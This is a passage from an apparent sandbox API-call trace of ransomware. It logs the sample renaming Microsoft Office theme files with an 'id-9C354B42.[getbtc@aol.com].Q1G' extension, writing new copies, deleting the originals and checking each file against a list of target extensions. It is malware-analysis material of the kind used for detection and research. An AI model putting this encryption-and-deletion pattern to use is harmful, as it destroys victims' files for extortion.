dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0243.984] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.985] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0243.985] GetLastError () returned 0x0 [0243.985] ReadFile (in: hFile=0x204, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x6818, lpOverlapped=0x0) returned 1 [0243.987] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x6820, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x6820, lpOverlapped=0x0) returned 1 [0243.988] ReadFile (in: hFile=0x204, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0243.988] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0243.988] SetEndOfFile (hFile=0x3ac) returned 1 [0243.989] CloseHandle (hObject=0x3ac) returned 1 [0243.989] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.989] SetEndOfFile (hFile=0x204) returned 1 [0243.992] CloseHandle (hObject=0x204) returned 1 [0243.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 1 [0243.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0243.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0243.992] lstrlenW (lpString=".doc") returned 4 [0243.992] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.992] lstrlenW (lpString=".docx") returned 5 [0243.992] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.993] lstrlenW (lpString=".pdf") returned 4 [0243.993] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.993] lstrlenW (lpString=".xls") returned 4 [0243.993] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.993] lstrlenW (lpString=".xlsx") returned 5 [0243.993] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.993] lstrlenW (lpString=".ppt") returned 4 [0243.993] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0243.993] lstrlenW (lpString=".zip") returned 4 [0243.993] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.993] lstrlenW (lpString=".rar") returned 4 [0243.993] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.993] lstrlenW (lpString=".bz2") returned 4 [0243.993] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.993] lstrlenW (lpString=".7z") returned 3 [0243.993] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0243.993] lstrlenW (lpString=".dbf") returned 4 [0243.993] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0243.993] lstrlenW (lpString=".1cd") returned 4 [0243.993] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0243.993] lstrlenW (lpString=".jpg") returned 4 [0243.993] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0243.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0243.993] lstrlenW (lpString=".doc") returned 4 [0243.993] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.993] lstrlenW (lpString=".docx") returned 5 [0243.993] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.993] lstrlenW (lpString=".pdf") returned 4 [0243.993] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.994] lstrlenW (lpString=".xls") returned 4 [0243.994] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.994] lstrlenW (lpString=".xlsx") returned 5 [0243.994] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.994] lstrlenW (lpString=".ppt") returned 4 [0244.382] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0244.382] lstrlenW (lpString=".zip") returned 4 [0244.382] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.382] lstrlenW (lpString=".rar") returned 4 [0244.382] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.382] lstrlenW (lpString=".bz2") returned 4 [0244.382] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.382] lstrlenW (lpString=".7z") returned 3 [0244.382] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0244.382] lstrlenW (lpString=".dbf") returned 4 [0244.382] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0244.383] lstrlenW (lpString=".1cd") returned 4 [0244.383] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0244.383] lstrlenW (lpString=".jpg") returned 4 [0244.383] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.383] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0244.383] lstrlenW (lpString="Hardcover.eftx") returned 14 [0244.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0244.545] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=350689) returned 1 [0244.545] CloseHandle (hObject=0x200) returned 1 [0244.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 0x20 [0244.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0244.559] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.559] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0244.560] GetLastError () returned 0x0 [0244.560] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x559e1, lpOverlapped=0x0) returned 1 [0244.569] WriteFile (in: hFile=0x360, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x559f0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x559f0, lpOverlapped=0x0) returned 1 [0244.616] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0244.616] WriteFile (in: hFile=0x360, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0244.616] SetEndOfFile (hFile=0x360) returned 1 [0244.616] CloseHandle (hObject=0x360) returned 1 [0244.616] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.617] SetEndOfFile (hFile=0x3a4) returned 1 [0244.626] CloseHandle (hObject=0x3a4) returned 1 [0244.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.626] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 1 [0244.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0244.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0244.627] lstrlenW (lpString=".doc") returned 4 [0244.627] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.627] lstrlenW (lpString=".docx") returned 5 [0244.627] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.627] lstrlenW (lpString=".pdf") returned 4 [0244.627] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.627] lstrlenW (lpString=".xls") returned 4 [0244.627] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.627] lstrlenW (lpString=".xlsx") returned 5 [0244.627] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.627] lstrlenW (lpString=".ppt") returned 4 [0244.627] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0244.627] lstrlenW (lpString=".zip") returned 4 [0244.627] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.627] lstrlenW (lpString=".rar") returned 4 [0244.627] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.627] lstrlenW (lpString=".bz2") returned 4 [0244.627] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.627] lstrlenW (lpString=".7z") returned 3 [0244.627] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0244.627] lstrlenW (lpString=".dbf") returned 4 [0244.627] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0244.627] lstrlenW (lpString=".1cd") returned 4 [0244.627] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0244.627] lstrlenW (lpString=".jpg") returned 4 [0244.627] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0244.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0244.628] lstrlenW (lpString=".doc") returned 4 [0244.628] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.628] lstrlenW (lpString=".docx") returned 5 [0244.628] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.628] lstrlenW (lpString=".pdf") returned 4 [0244.628] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.628] lstrlenW (lpString=".xls") returned 4 [0244.628] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.628] lstrlenW (lpString=".xlsx") returned 5 [0244.628] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.628] lstrlenW (lpString=".ppt") returned 4 [0244.628] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0244.628] lstrlenW (lpString=".zip") returned 4 [0244.628] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.628] lstrlenW (lpString=".rar") returned 4 [0244.628] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.628] lstrlenW (lpString=".bz2") returned 4 [0244.628] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.628] lstrlenW (lpString=".7z") returned 3 [0244.628] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0244.628] lstrlenW (lpString=".dbf") returned 4 [0244.628] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0244.628] lstrlenW (lpString=".1cd") returned 4 [0244.628] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0244.628] lstrlenW (lpString=".jpg") returned 4 [0244.628] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.668] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0244.668] lstrlenW (lpString="Module.eftx") returned 11 [0244.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0244.669] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=43357) returned 1 [0244.669] CloseHandle (hObject=0x37c) returned 1 [0244.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 0x20 [0244.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0244.670] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.670] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0244.671] GetLastError () returned 0x0 [0244.671] ReadFile (in: hFile=0x37c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xa95d, lpOverlapped=0x0) returned 1 [0244.785] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xa960, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xa960, lpOverlapped=0x0) returned 1 [0244.786] ReadFile (in: hFile=0x37c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0244.786] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0244.786] SetEndOfFile (hFile=0x3a8) returned 1 [0244.786] CloseHandle (hObject=0x3a8) returned 1 [0244.787] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.787] SetEndOfFile (hFile=0x37c) returned 1 [0244.789] CloseHandle (hObject=0x37c) returned 1 [0244.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 1 [0244.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0244.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0244.838] lstrlenW (lpString=".doc") returned 4 [0244.838] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.838] lstrlenW (lpString=".docx") returned 5 [0244.838] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.838] lstrlenW (lpString=".pdf") returned 4 [0244.838] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.838] lstrlenW (lpString=".xls") returned 4 [0244.838] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.838] lstrlenW (lpString=".xlsx") returned 5 [0244.838] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.838] lstrlenW (lpString=".ppt") returned 4 [0244.838] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0244.838] lstrlenW (lpString=".zip") returned 4 [0244.838] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.838] lstrlenW (lpString=".rar") returned 4 [0244.838] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.838] lstrlenW (lpString=".bz2") returned 4 [0244.838] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.838] lstrlenW (lpString=".7z") returned 3 [0244.838] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0244.838] lstrlenW (lpString=".dbf") returned 4 [0244.838] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0244.839] lstrlenW (lpString=".1cd") returned 4 [0244.839] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0244.839] lstrlenW (lpString=".jpg") returned 4 [0244.839] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0244.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0244.839] lstrlenW (lpString=".doc") returned 4 [0244.839] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.839] lstrlenW (lpString=".docx") returned 5 [0244.839] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.839] lstrlenW (lpString=".pdf") returned 4 [0244.839] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.839] lstrlenW (lpString=".xls") returned 4 [0244.839] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.839] lstrlenW (lpString=".xlsx") returned 5 [0244.839] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.839] lstrlenW (lpString=".ppt") returned 4 [0244.839] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0244.839] lstrlenW (lpString=".zip") returned 4 [0244.839] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.839] lstrlenW (lpString=".rar") returned 4 [0244.839] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.839] lstrlenW (lpString=".bz2") returned 4 [0244.839] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.839] lstrlenW (lpString=".7z") returned 3 [0244.839] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0244.839] lstrlenW (lpString=".dbf") returned 4 [0244.840] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0244.840] lstrlenW (lpString=".1cd") returned 4 [0244.840] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0244.840] lstrlenW (lpString=".jpg") returned 4 [0244.840] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.840] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0244.840] lstrlenW (lpString="Perspective.eftx") returned 16 [0244.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0244.850] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=21423) returned 1 [0244.850] CloseHandle (hObject=0x3bc) returned 1 [0244.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 0x20 [0244.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0244.888] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.888] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0244.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 